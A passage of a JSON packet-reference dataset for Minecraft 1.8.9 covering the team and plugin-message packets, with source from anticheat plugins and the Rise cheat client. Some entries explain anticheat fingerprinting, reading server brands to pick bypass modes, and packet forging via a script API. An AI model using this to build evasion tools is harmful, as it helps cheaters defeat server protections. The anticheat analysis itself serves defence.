CHECK_INTERVAL);\n    }\n\n    @Override\n    protected ViolationManagement createViolationManagement()\n    {\n        return ViolationLevelManagement.builder(this)\n                                       .loadThresholdsToManagement()\n                                       .withDecay(300, 1)\n                                       .build();\n    }\n}\n// NOTE (AI): No scoreboard or packet API is used anywhere in this file; the check is matched to the team domain by name only. The clustering runs on a Bukkit scheduler, never on S3E.",
       "code_source": "Photon-GitHub-AntiCheatAddition, src/main/java/de/photon/anticheataddition/modules/checks/teaming/Teaming.java",
       "variations": "None in the corpus. Photon's ModuleManager registers the module, and Placeholders exposes its violation level for alert messages."
      },
      {
       "name": "EntityCollisionDisabler (intave)",
       "found_in": [
        "intave-intave"
       ],
       "purpose": "Patch outbound team packets so the monitored player stops colliding with entities, a server-side no-collision service.",
       "how_it_works": "A HIGHEST-priority ProtocolLib subscription on the outbound SCOREBOARD_TEAM packet rewrites the collision-rule string field to 'never' before the packet reaches the client. Version-dependent field indexes handle the 1.13 and 1.17 wire changes, and on 1.17+ the rule is read from the optional internal structure instead of the top-level string list. Active only on 1.9+ servers where the team packet carries a collision rule.",
       "detects": "Nothing cheat-related. It is the anticheat applying a collision exemption through the vanilla team mechanism instead of a per-player flag.",
       "detailed_code": "// ===== FILE: intave-intave, src/main/java/de/jpx3/intave/module/tracker/entity/EntityCollisionDisabler.java =====\npackage de.jpx3.intave.module.tracker.entity;\n\nimport com.comphenix.protocol.events.InternalStructure;\nimport com.comphenix.protocol.events.PacketContainer;\nimport com.comphenix.protocol.events.PacketEvent;\nimport com.comphenix.protocol.reflect.StructureModifier;\nimport de.jpx3.intave.adapter.MinecraftVersions;\nimport de.jpx3.intave.module.Module;\nimport de.jpx3.intave.module.linker.packet.ListenerPriority;\nimport de.jpx3.intave.module.linker.packet.PacketSubscription;\n\nimport java.util.Optional;\n\nimport static de.jpx3.intave.module.linker.packet.PacketId.Server.SCOREBOARD_TEAM;\n\npublic final class EntityCollisionDisabler extends Module {\n  private static final boolean DISABLE_ENTITY_COLLISIONS = MinecraftVersions.VER1_9_0.atOrAbove();\n  private static final int COLLISION_RULE_FIELD = (MinecraftVersions.VER1_13_0.atOrAbove() ? (MinecraftVersions.VER1_17_0.atOrAbove() ? 1 : 2) : 5);\n  private static final boolean INDIRECT_SCOREBOARD_ACCESS = MinecraftVersions.VER1_17_0.atOrAbove();\n\n  @PacketSubscription(\n    priority = ListenerPriority.HIGHEST,\n    packetsOut = {\n      SCOREBOARD_TEAM\n    }\n  )\n  public void receiveScoreboardUpdate(PacketEvent event) {\n    if (!DISABLE_ENTITY_COLLISIONS) {\n      return;\n    }\n    PacketContainer packet = event.getPacket();\n    if (INDIRECT_SCOREBOARD_ACCESS) {\n      //noinspection OptionalAssignedToNull\n      if (packet.getSpecificModifier(Optional.class).read(0) != null) {\n        Optional<InternalStructure> optionalStructure = packet.getOptionalStructures().read(0);\n        if (optionalStructure.isPresent()) {\n          InternalStructure structure = optionalStructure.get();\n          StructureModifier<String> strings = structure.getStrings();\n          applyNoCollisionRule(strings);\n        }\n      }\n    } else {\n      applyNoCollisionRule(packet.getStrings());\n    }\n  }\n\n  private void applyNoCollisionRule(StructureModifier<String> strings) {\n    strings.write(COLLISION_RULE_FIELD, \"never\");\n  }\n}\n// NOTE (AI): A genuine S3E (PacketPlayOutScoreboardTeam) consumer; it appears in the S3C corpus only because the Scoreboard keyword matched the method name receiveScoreboardUpdate.",
       "code_source": "intave-intave, src/main/java/de/jpx3/intave/module/tracker/entity/EntityCollisionDisabler.java",
       "variations": "Same anticheat, opposite direction: ScoreboardAccessor and FakePlayerBody emit S3E team packets to hide the fake-player nametag (see the next check)."
      },
      {
       "name": "ScoreboardAccessor fake-player nametag (intave)",
       "found_in": [
        "intave-intave"
       ],
       "purpose": "Hide the nametag of intave's fake-player bait entities so ESP and nametag features cannot distinguish them from real players.",
       "how_it_works": "sendScoreboard builds a PacketPlayOutScoreboardTeam with action 3 (ADD_PLAYERS) that places the fake player profile in a dedicated team, then, when hiding is requested, sends a second team packet with action 2 (UPDATE) that sets nameTagVisibility to NEVER. FakePlayerBody invokes it at spawn (FakePlayerBody.java line 318).",
       "detects": "Nothing. The team packets are the bait infrastructure behind the aura and reach checks; the nametag must vanish or the fake entity is trivially spotted.",
       "detailed_code": "// ===== FILE: intave-intave, src/main/java/de/jpx3/intave/player/fake/ScoreboardAccessor.java =====\npackage de.jpx3.intave.player.fake;\n\nimport com.comphenix.protocol.wrappers.WrappedGameProfile;\nimport com.google.common.collect.ImmutableList;\nimport de.jpx3.intave.klass.rewrite.PatchyAutoTranslation;\nimport net.minecraft.server.v1_8_R3.*;\nimport org.bukkit.craftbukkit.v1_8_R3.entity.CraftPlayer;\nimport org.bukkit.entity.Player;\n\n@PatchyAutoTranslation\npublic final class ScoreboardAccessor {\n  @PatchyAutoTranslation\n  public static void sendScoreboard(\n    Player player,\n    String teamName,\n    WrappedGameProfile fakePlayerProfile,\n    boolean hideNameTag\n  ) {\n    PlayerConnection connection = ((CraftPlayer) player).getHandle().playerConnection;\n    ImmutableList<String> teamList = ImmutableList.of(fakePlayerProfile.getName());\n    ScoreboardTeam scoreboardTeam = new ScoreboardTeam(new Scoreboard(), teamName);\n    PacketPlayOutScoreboardTeam packet = new PacketPlayOutScoreboardTeam(scoreboardTeam, teamList, 3);\n    connection.sendPacket(packet);\n    if (hideNameTag) {\n      scoreboardTeam.setNameTagVisibility(ScoreboardTeamBase.EnumNameTagVisibility.NEVER);\n      connection.sendPacket(new PacketPlayOutScoreboardTeam(scoreboardTeam, 2));\n    }\n  }\n}\n// NOTE (AI): Emits the 1.8 S3E ADD_PLAYERS (action 3) and UPDATE (action 2) modes; the constructor is version-locked through @PatchyAutoTranslation.",
       "code_source": "intave-intave, src/main/java/de/jpx3/intave/player/fake/ScoreboardAccessor.java",
       "variations": "FakePlayerBody.java owns the spawn flow and FakePlayerEventService loads the accessor by class name for the 1.8 pipeline."
      },
      {
       "name": "Monitor nametag team bridge (Shard)",
       "found_in": [
        "KaelusAI-Shard"
       ],
       "purpose": "Render the monitored target's name tag by emitting its own S3E team packets, and keep that rendering valid against other plugins' team traffic.",
       "how_it_works": "ViewTeamPacketBridge builds WrapperPlayServerTeams packets (CREATE, UPDATE, ADD_ENTITIES and REMOVE) whose prefix and suffix carry the rendered tag, with the collision rule and nametag visibility forced to ALWAYS so the monitor's tag never interferes with physics. Its companion ViewTeamConflictObserver listens for outbound S3E at MONITOR priority and, when the session renders above the name, marks the target's tag for rebind whenever another plugin creates a team or adds the target to one.",
       "detects": "Nothing. The name-tag rendering is the monitor output channel; the observer exists so a server plugin that manages its own teams does not break the view.",
       "detailed_code": "// ===== FILE: KaelusAI-Shard, src/main/kotlin/ac/shard/monitor/view/ViewTeamPacketBridge.kt =====\n/*\n * This file is part of Shard - https://github.com/KaelusAI/Shard\n * Copyright (C) 2026 KaelusAI\n *\n * Shard is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Shard is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see <http://www.gnu.org/licenses/>.\n */\npackage ac.shard.monitor.view\n\nimport ac.shard.monitor.core.ComponentCache\nimport com.github.retrooper.packetevents.PacketEvents\nimport com.github.retrooper.packetevents.wrapper.PacketWrapper\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerTeams\nimport net.kyori.adventure.text.Component\nimport net.kyori.adventure.text.format.NamedTextColor\nimport org.bukkit.entity.Player\n\ninternal class ViewTeamPacketBridge(private val componentCache: ComponentCache) {\n  fun createTeam(viewer: Player, teamName: String, playerName: String, rendered: RenderedTag) {\n    val wrapper =\n      WrapperPlayServerTeams(\n        teamName,\n        WrapperPlayServerTeams.TeamMode.CREATE,\n        createTeamInfo(rendered),\n        listOf(playerName),\n      )\n    sendPacket(viewer, wrapper)\n  }\n\n  fun updateTeam(viewer: Player, teamName: String, rendered: RenderedTag) {\n    val wrapper =\n      WrapperPlayServerTeams(\n        teamName,\n        WrapperPlayServerTeams.TeamMode.UPDATE,\n        createTeamInfo(rendered),\n        emptyList(),\n      )\n    sendPacket(viewer, wrapper)\n  }\n\n  fun rebindEntity(viewer: Player, teamName: String, playerName: String) {\n    val wrapper =\n      WrapperPlayServerTeams(\n        teamName,\n        WrapperPlayServerTeams.TeamMode.ADD_ENTITIES,\n        null as WrapperPlayServerTeams.ScoreBoardTeamInfo?,\n        listOf(playerName),\n      )\n    sendPacket(viewer, wrapper)\n  }\n\n  fun removeTeam(viewer: Player, teamName: String) {\n    val wrapper =\n      WrapperPlayServerTeams(\n        teamName,\n        WrapperPlayServerTeams.TeamMode.REMOVE,\n        null as WrapperPlayServerTeams.ScoreBoardTeamInfo?,\n        emptyList<String>(),\n      )\n    sendPacket(viewer, wrapper)\n  }\n\n  private fun createTeamInfo(rendered: RenderedTag): WrapperPlayServerTeams.ScoreBoardTeamInfo {\n    return WrapperPlayServerTeams.ScoreBoardTeamInfo(\n      Component.empty(),\n      componentCache.component(rendered.prefix),\n      componentCache.component(rendered.suffix),\n      WrapperPlayServerTeams.NameTagVisibility.ALWAYS,\n      WrapperPlayServerTeams.CollisionRule.ALWAYS,\n      NamedTextColor.WHITE,\n      WrapperPlayServerTeams.OptionData.NONE,\n    )\n  }\n\n  private fun sendPacket(viewer: Player, packet: PacketWrapper<*>) {\n    PacketEvents.getAPI().playerManager.sendPacket(viewer, packet)\n  }\n}\n// NOTE (AI): Emit side only in this file (CREATE, UPDATE, ADD_ENTITIES and REMOVE at lines 29-71). The consume side is ViewTeamConflictObserver.kt, which reads WrapperPlayServerTeams on PacketSendEvent and schedules rebinds for the monitored target.",
       "code_source": "KaelusAI-Shard, src/main/kotlin/ac/shard/monitor/view/ViewTeamPacketBridge.kt",
       "variations": "ScoreboardSlotObserver and ScoreboardPacketBridge cover the sibling scoreboard packets for the sidebar output; ViewTeamConflictObserverTest and TargetTeamStateTest exercise the rebind logic."
      }
     ]
    }
   },
   "wiki_notes": [
    "The team color byte maps onto formatting codes: 0-15 are the chat colors and 16-21 are obfuscation, bold, strikethrough, underline, italic, and reset.",
    "The friendly-fire field is a bitmask (0x01 allow friendly fire, 0x02 see same-team invisible players), so value 3 means both behaviors are on.",
    "MCP 1.8.9 S3EPacketTeams implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleTeams; wire serde is readPacketData/writePacketData via readByte, readStringFromBuffer, readVarIntFromBuffer.",
    "1.8.9 callers: ServerScoreboard.addPlayerToTeam sends new S3EPacketTeams (line 96) +1 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/scoreboard/ServerScoreboard.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S3EPacketTeams/",
   "mcp_path": "net/minecraft/network/play/server/S3EPacketTeams.java",
   "group": "play-client",
   "logic_classes": [
    "ServerConfigurationManager",
    "ServerScoreboard"
   ]
  },
  {
   "id": "S3FPacketCustomPayload",
   "hex": "0x3F",
   "dec": 63,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Custom Payload (Plugin Message)",
   "desc": "Sends a plugin channel message from server to client. Used for mod/plugin communication.",
   "tags": [
    "plugin",
    "modding",
    "channel"
   ],
   "fields": [
    {
     "name": "channel",
     "type": "String",
     "desc": "Plugin channel name"
    },
    {
     "name": "data",
     "type": "PacketBuffer",
     "desc": "Channel-specific payload"
    }
   ],
   "encoding": [
    [
     "Channel",
     "String",
     "Plugin channel identifier"
    ],
    [
     "Data Length",
     "short",
     ""
    ],
    [
     "Data",
     "byte[]",
     "Channel-specific payload"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleCustomPayload()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "Common channels: \"MC|Brand\" (server brand), \"MC|AdvCmd\" (command block update), \"MC|TrList\" (villager trades), \"MC|RPack\" (resource pack).",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "The clientbound plugin message. A channel name string (20-char cap) plus a raw PacketBuffer payload capped at 1048576 bytes. Vanilla channels include MC|Brand (server brand, sent once at join), MC|TrList (villager trades), MC|BOpen (book opening), and MC|AdvCmd (command block updates). handleCustomPayload dispatches by channel name; unknown channels are ignored. This is the standard bus for server-to-client mod and plugin communication."
     },
     {
      "h": "Vanilla handling",
      "p": "handleCustomPayload branches on the channel: MC|TrList decodes the merchant recipe list into the open GuiMerchant, MC|Brand stores the brand string on the player, MC|BOpen opens the written-book GUI. The buffer is released in a finally block. Channel length is capped at 20 and the payload at 1MB, with an IOException on overflow."
     },
     {
      "h": "Why clients touch it",
      "p": "Rise 5.99 PacketDebugger logs the channel name of every S3FPacketCustomPayload to chat via Rise.addChatMessage, as part of anti-cheat fingerprinting: the module also times keepalives and transactions. Reading MC|Brand is the standard server-identity read: brand strings identify Paper, Purpur, BungeeCord, and plugin stacks before a bypass picks a mode. Rise 6.x registers the class in the script API. The dedicated BrandDetector modules of the wider ecosystem (Flux, Lycoris) sit outside this corpus, so PacketDebugger is the only real consumer here."
     },
     {
      "h": "Exploit surface",
      "p": "Purely observational. The payload is server-controlled; a malicious server can send oversized or malformed payloads, but the 1MB cap and try/finally release keep the vanilla path safe. Clients read the channel and payload for fingerprinting, and nothing is sent back, so servers cannot detect the read. The detection value is the brand string itself, which identifies the server stack before a disabler selects a mode."
     }
    ],
    "overview": "The clientbound plugin channel. Rise 5.99's PacketDebugger logs every channel name to chat for anti-cheat fingerprinting, and the MC|Brand channel is the standard server-identity read. Rise 6.x only registers the class in its script API.",
    "server_handling": "ServerConfigurationManager sends MC|Brand once per join with the server mod name. EntityPlayerMP sends MC|TrList when a player opens a merchant and MC|BOpen when opening a written book. The channel table is per-connection; the vanilla client only receives S3F and never echoes it. The wire payload length is the remaining readable bytes, capped at 1MB.",
    "protocol_notes": "readPacketData reads the channel (20-char cap), then takes the remaining readable bytes as the payload buffer, rejecting anything over 1048576 bytes with an IOException. writePacketData writes the channel then the raw buffer bytes. The payload is channel-specific; parsers must know the channel before reading fields from the buffer.",
    "anticheat_landscape": "Passive surface. The brand and channel names fingerprint the server stack; anti-cheats that send their own channels (version checks, telemetry) leak their presence through this packet. Clients never echo S3F, so the read is undetectable server-side. No anti-cheat in the corpus flags the packet itself.",
    "modules": [
     {
      "name": "PacketDebugger",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "Fingerprint the server's anti-cheat and network behavior by logging plugin channels and packet timing to chat.",
      "how_it_works": "onPacketSend logs C0FPacketConfirmTransaction window id and uid with inter-arrival milliseconds, C00PacketKeepAlive key with inter-arrival milliseconds, and S3FPacketCustomPayload channel name via Rise.addChatMessage. The S3F branch catches clientbound payloads as they pass through the event.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/other/PacketDebugger.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.other;\n\nimport dev.rise.Rise;\nimport dev.rise.event.impl.packet.PacketSendEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C00PacketKeepAlive;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.server.S3FPacketCustomPayload;\n\n@ModuleInfo(name = \"PacketDebugger\", description = \"Debugger for detecting anticheats\", category = Category.OTHER)\npublic final class PacketDebugger extends Module {\n    private long lastKeepAlive;\n    private long lastTransaction;\n\n    @Override\n    public void onPacketSend(PacketSendEvent event) {\n\n        Packet p = event.getPacket();\n\n        if (p instanceof C0FPacketConfirmTransaction) {\n            long lastPacket = System.currentTimeMillis() - lastTransaction;\n            Rise.addChatMessage(\"Transaction: \" + ((C0FPacketConfirmTransaction) event.getPacket()).getWindowId()\n                    + \" \" + ((C0FPacketConfirmTransaction) event.getPacket()).getUid() + \" \" + lastPacket + \"ms\");\n            this.lastTransaction = System.currentTimeMillis();\n        } else if (p instanceof C00PacketKeepAlive) {\n            long lastPacket = System.currentTimeMillis() - lastKeepAlive;\n            Rise.addChatMessage(\"KeepAlive: \" + ((C00PacketKeepAlive) event.getPacket()).getKey() + \" \" + lastPacket + \"ms\");\n            this.lastKeepAlive = System.currentTimeMillis();\n        } else if (p instanceof S3FPacketCustomPayload) {\n            Rise.addChatMessage(\"Payload: \" + ((S3FPacketCustomPayload) event.getPacket()).getChannelName());\n        }\n\n    }\n}\n// NOTE (AI): The S3FPacketCustomPayload branch on lines 37-38 prints the channel name to chat. The module's primary output is keepalive and transaction timing, which reveals how the server handles the two packets that ping-spoof and disabler modes rely on.",
      "code_source": "Rise 5.99, dev/rise/module/impl/other/PacketDebugger.java",
      "vanilla_hook": "PacketSendEvent.",
      "anti_cheat_notes": "Logging only, no mutation, nothing flaggable. The timing output doubles as a manual check of server keepalive/transaction behavior.",
      "variations": "None in the corpus. Rise 6.x drops the module and exposes the class through the script API instead."
     },
     {
      "name": "NetworkAPI (script API)",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Expose the packet class to Rise's JavaScript scripting API.",
      "how_it_works": "S3FPacketCustomPayload is listed in the clientbound Class array of NetworkAPI.java (line 106).",
      "detailed_code": "// ===== FILE: Rise 6.1.30, com/alan/clients/script/api/NetworkAPI.java =====\npackage com.alan.clients.script.api;\n\nimport com.alan.clients.util.chat.ChatUtil;\nimport lombok.SneakyThrows;\nimport net.minecraft.network.EnumPacketDirection;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.INetHandlerPlayClient;\nimport net.minecraft.network.play.INetHandlerPlayServer;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.network.play.server.*;\n\nimport javax.script.ScriptException;\nimport java.util.Arrays;\n\npublic class NetworkAPI extends API {\n\n    public final static Class<Packet<INetHandlerPlayServer>>[] serverbound = new Class[]{\n            C00PacketKeepAlive.class,\n            C01PacketChatMessage.class,\n            C02PacketUseEntity.class,\n            C03PacketPlayer.class,\n            C03PacketPlayer.C04PacketPlayerPosition.class,\n            C03PacketPlayer.C05PacketPlayerLook.class,\n            C03PacketPlayer.C06PacketPlayerPosLook.class,\n            C07PacketPlayerDigging.class,\n            C08PacketPlayerBlockPlacement.class,\n            C09PacketHeldItemChange.class,\n            C0APacketAnimation.class,\n            C0BPacketEntityAction.class,\n            C0CPacketInput.class,\n            C0DPacketCloseWindow.class,\n            C0EPacketClickWindow.class,\n            C0FPacketConfirmTransaction.class,\n            C10PacketCreativeInventoryAction.class,\n            C11PacketEnchantItem.class,\n            C12PacketUpdateSign.class,\n            C13PacketPlayerAbilities.class,\n            C14PacketTabComplete.class,\n            C15PacketClientSettings.class,\n            C16PacketClientStatus.class,\n            C17PacketCustomPayload.class,\n            C18PacketSpectate.class,\n            C19PacketResourcePackStatus.class,\n    };\n    public final static Class<Packet<INetHandlerPlayClient>>[] clientbound = new Class[]{\n            S00PacketKeepAlive.class,\n            S01PacketJoinGame.class,\n            S02PacketChat.class,\n            S03PacketTimeUpdate.class,\n            S04PacketEntityEquipment.class,\n            S05PacketSpawnPosition.class,\n            S06PacketUpdateHealth.class,\n            S07PacketRespawn.class,\n            S08PacketPlayerPosLook.class,\n            S09PacketHeldItemChange.class,\n            S0APacketUseBed.class,\n            S0BPacketAnimation.class,\n            S0CPacketSpawnPlayer.class,\n            S0DPacketCollectItem.class,\n            S0EPacketSpawnObject.class,\n            S0FPacketSpawnMob.class,\n            S10PacketSpawnPainting.class,\n            S11PacketSpawnExperienceOrb.class,\n            S12PacketEntityVelocity.class,\n            S13PacketDestroyEntities.class,\n            S14PacketEntity.class,\n            S18PacketEntityTeleport.class,\n            S19PacketEntityHeadLook.class,\n            S19PacketEntityStatus.class,\n            S1BPacketEntityAttach.class,\n            S1CPacketEntityMetadata.class,\n            S1DPacketEntityEffect.class,\n            S1EPacketRemoveEntityEffect.class,\n            S1FPacketSetExperience.class,\n            S20PacketEntityProperties.class,\n            S21PacketChunkData.class,\n            S22PacketMultiBlockChange.class,\n            S23PacketBlockChange.class,\n            S24PacketBlockAction.class,\n            S25PacketBlockBreakAnim.class,\n            S26PacketMapChunkBulk.class,\n            S27PacketExplosion.class,\n            S28PacketEffect.class,\n            S29PacketSoundEffect.class,\n            S2APacketParticles.class,\n            S2BPacketChangeGameState.class,\n            S2CPacketSpawnGlobalEntity.class,\n            S2DPacketOpenWindow.class,\n            S2EPacketCloseWindow.class,\n            S2FPacketSetSlot.class,\n            S30PacketWindowItems.class,\n            S31PacketWindowProperty.class,\n            S32PacketConfirmTransaction.class,\n            S33PacketUpdateSign.class,\n            S34PacketMaps.class,\n            S35PacketUpdateTileEntity.class,\n            S36PacketSignEditorOpen.class,\n            S37PacketStatistics.class,\n            S38PacketPlayerListItem.class,\n            S39PacketPlayerAbilities.class,\n            S3APacketTabComplete.class,\n            S3BPacketScoreboardObjective.class,\n            S3CPacketUpdateScore.class,\n            S3DPacketDisplayScoreboard.class,\n            S3EPacketTeams.class,\n            S3FPacketCustomPayload.class,\n            S40PacketDisconnect.class,\n            S41PacketServerDifficulty.class,\n            S42PacketCombatEvent.class,\n            S43PacketCamera.class,\n            S44PacketWorldBorder.class,\n            S45PacketTitle.class,\n            S46PacketSetCompressionLevel.class,\n            S47PacketPlayerListHeaderFooter.class,\n            S48PacketResourcePackSend.class,\n            S49PacketUpdateEntityNBT.class\n    };\n\n    @SneakyThrows\n    private static Packet<?> instantiatePacket(final EnumPacketDirection direction, final int id, final Object... params) {\n        Packet<?> packet = null;\n        try {\n            if (direction == EnumPacketDirection.CLIENTBOUND) {\n                packet = (Packet<?>) Arrays.stream(clientbound[id].getConstructors()).filter(x -> x.getParameterCount() == params.length).findFirst().get().newInstance(params);\n            } else if (direction == EnumPacketDirection.SERVERBOUND) {\n                packet = (Packet<?>) Arrays.stream(serverbound[id].getConstructors()).filter(x -> x.getParameterCount() == params.length).findFirst().get().newInstance(params);\n            }\n        } catch (Exception ex) {\n            ChatUtil.display(\"Failed to instantiate packet!\");\n            throw new ScriptException(ex);\n        }\n        return packet;\n    }\n\n    public void sendPacket(final int id, final Object... params) {\n        final Packet<?> packet = instantiatePacket(EnumPacketDirection.SERVERBOUND, id, params);\n        MC.getNetHandler().addToSendQueue(packet);\n    }\n\n    public void receivePacket(final int id, final Object... params) {\n        final Packet<?> packet = instantiatePacket(EnumPacketDirection.CLIENTBOUND, id, params);\n        MC.getNetHandler().addToReceiveQueue(packet);\n    }\n\n    public boolean isSingleplayer() {\n        return MC.isSingleplayer();\n    }\n\n    public boolean isMultiplayer() {\n        return !MC.isSingleplayer() && MC.getCurrentServerData() != null;\n    }\n\n    public String getServerIP() {\n        return MC.getCurrentServerData() != null\n                ? MC.getCurrentServerData().serverIP\n                : null;\n    }\n\n    public String getServerName() {\n        return MC.getCurrentServerData() != null\n                ? MC.getCurrentServerData().serverName\n                : null;\n    }\n\n    public String getServerMOTD() {\n        return MC.getCurrentServerData() != null\n                ? MC.getCurrentServerData().serverMOTD\n                : null;\n    }\n}\n// NOTE (AI): The clientbound array lists S3FPacketCustomPayload at line 106. Identical file ships in Rise 6.2.4 under Client-release2/Client/src/main/java.",
      "code_source": "Rise 6.1.30, com/alan/clients/script/api/NetworkAPI.java",
      "vanilla_hook": "None directly.",
      "anti_cheat_notes": "None. Registry only.",
      "variations": "6.2.4 ships the byte-identical file with the Client-release2 path prefix."
     }
    ],
    "general_hooks": "Rise 5.99: PacketSendEvent. Rise 6.x: script API table.",
    "client_variations": "Rise 5.99 logs the packet through its event bus; Rise 6.x exposes the class to scripts. No client in the corpus cancels or forges S3F.",
    "related": [
     "C17PacketCustomPayload",
     "S02PacketChat"
    ],
    "anticheat": {
     "overview": "S3F is the outbound plugin channel, and the corpus splits by direction. The inbound machinery dominates the keyword matches: brand recognition (Grim ClientBrand, Shard ClientBrand, Truthful BrandListener, Photon BrandChannelData, intave PayloadInReader and SettingsTracker, LightAntiCheat ClientBrandRecognizer), payload frequency (Arc PayloadFrequency), payload exploits (Grim ExploitA and ExploitB), and badpackets (Frequency BadPacketsD, Hydro BadPacketsC, FlopAC BadPacketsF and BadPacketsG) all consume the client-to-server payload and appear here because the search terms overlap. The genuine S3F consumers are the anticheats' own outbound payloads: Photon rewrites the outgoing brand so clients cannot fingerprint the server, intave emits a brand-channel mark to authenticate its companion client, and Negativity sends FML handshake probes to enumerate Forge mods. Artemis and Negativity register the packet classes (SERVER_PLAY+21, CUSTOM_PAYLOAD_IN and CUSTOM_PAYLOAD_OUT).",
     "checks": [
      {
       "name": "BrandHider (Photon)",
       "found_in": [
        "Photon-GitHub-AntiCheatAddition"
       ],
       "purpose": "Stop clients from fingerprinting the server: rewrite every outbound brand payload to a configured fake brand.",
       "how_it_works": "Two PacketAdapterBuilder listeners hook the outbound PLUGIN_MESSAGE packets (Configuration.Server and Play.Server, the S3F path) with onSendingRaw. When the channel is the brand channel (MC|Brand or minecraft:brand), the payload data is replaced with createBrandPayload of the configured brand ('Some Spigot' by default) and the packet is marked for re-encode. On join, and at an optional refresh rate, the module also pushes an empty brand payload so the adapter has something to rewrite.",
       "detects": "Clients and disablers that read the server brand to pick a bypass mode; the rewrite keeps the advertised stack generic.",
       "detailed_code": "// ===== FILE: Photon-GitHub-AntiCheatAddition, src/main/java/de/photon/anticheataddition/modules/additions/BrandHider.java =====\npackage de.photon.anticheataddition.modules.additions;\n\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.event.PacketListener;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.wrapper.configuration.server.WrapperConfigServerPluginMessage;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPluginMessage;\nimport de.photon.anticheataddition.AntiCheatAddition;\nimport de.photon.anticheataddition.modules.Module;\nimport de.photon.anticheataddition.modules.ModuleLoader;\nimport de.photon.anticheataddition.util.execute.Placeholders;\nimport de.photon.anticheataddition.util.log.Log;\nimport de.photon.anticheataddition.util.pluginmessage.ByteBufUtil;\nimport de.photon.anticheataddition.util.pluginmessage.MessageChannel;\nimport de.photon.anticheataddition.util.protocol.PacketAdapterBuilder;\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport org.bukkit.Bukkit;\nimport org.bukkit.ChatColor;\nimport org.bukkit.entity.Player;\nimport org.bukkit.event.EventHandler;\nimport org.bukkit.event.Listener;\nimport org.bukkit.event.player.PlayerJoinEvent;\nimport org.bukkit.scheduler.BukkitTask;\n\npublic final class BrandHider extends Module implements PacketListener, Listener {\n    public static final BrandHider INSTANCE = new BrandHider();\n\n    private String brand;\n    private final String channel = MessageChannel.MC_BRAND_CHANNEL.getChannel().orElseThrow();\n    private BukkitTask updateTask;\n\n    private BrandHider()\n    {\n        super(\"BrandHider\");\n    }\n\n    public void setBrand(String brand)\n    {\n        this.brand = ChatColor.translateAlternateColorCodes('&', brand) + ChatColor.RESET;\n        this.updateAllBrands();\n    }\n\n    private void updateAllBrands()\n    {\n        for (Player onlinePlayer : Bukkit.getOnlinePlayers()) updateBrand(onlinePlayer);\n    }\n\n    private void updateBrand(final Player player)\n    {\n        // Just send an empty brand message, as this will be replaced by the Packet Adapter below anyways.\n        final byte[] payload = createBrandPayload(\"\");\n        PacketEvents.getAPI().getPlayerManager().sendPacket(player, new WrapperPlayServerPluginMessage(this.channel, payload));\n    }\n\n    private static byte[] createBrandPayload(final String brand)\n    {\n        final ByteBuf buf = Unpooled.buffer();\n        try {\n            ByteBufUtil.writeString(buf, brand);\n            return ByteBufUtil.toArray(buf);\n        } finally {\n            buf.release();\n        }\n    }\n\n    @EventHandler\n    public void onJoin(final PlayerJoinEvent event)\n    {\n        updateBrand(event.getPlayer());\n    }\n\n    @Override\n    public void enable()\n    {\n        Log.finer(() -> \"BrandHider brand \" + this.brand + \" | channel \" + this.channel);\n        this.setBrand(loadString(\".brand\", \"Some Spigot\"));\n\n        final long refreshRate = loadLong(\".refresh_rate\", 0);\n        if (refreshRate > 0) {\n            this.updateTask = Bukkit.getScheduler().runTaskTimer(AntiCheatAddition.getInstance(), this::updateAllBrands, 20L, refreshRate);\n        }\n    }\n\n    @Override\n    public void disable()\n    {\n        if (this.updateTask != null) this.updateTask.cancel();\n    }\n\n    @Override\n    protected ModuleLoader createModuleLoader()\n    {\n        return ModuleLoader.builder(this)\n                           //\n                           .addPacketListeners(\n                                   // For Configuration.Server, the player might still be null, as they are currently being constructed.\n                                   PacketAdapterBuilder.of(this, PacketType.Configuration.Server.PLUGIN_MESSAGE).onSendingRaw((event) -> {\n                                       final WrapperConfigServerPluginMessage packet = new WrapperConfigServerPluginMessage(event);\n                                       final String channel = packet.getChannelName();\n                                       Log.finer(() -> \"BrandHider got PLUGIN_MESSAGE in channel \" + channel + \" | equals: \" + this.channel.equals(channel));\n\n                                       if (this.channel.equals(channel)) {\n                                           // Only replace non-player placeholders\n                                           final String brand = Placeholders.replacePlaceholdersSafely(this.brand);\n                                           packet.setData(createBrandPayload(brand));\n                                           event.markForReEncode(true);\n                                       }\n                                   }).build(),\n                                   // For Play.Server, the player is already fully initialized on the server, so non-null.\n                                   PacketAdapterBuilder.of(this, PacketType.Play.Server.PLUGIN_MESSAGE).onSendingRaw((event) -> {\n                                       final WrapperPlayServerPluginMessage packet = new WrapperPlayServerPluginMessage(event);\n                                       final String channel = 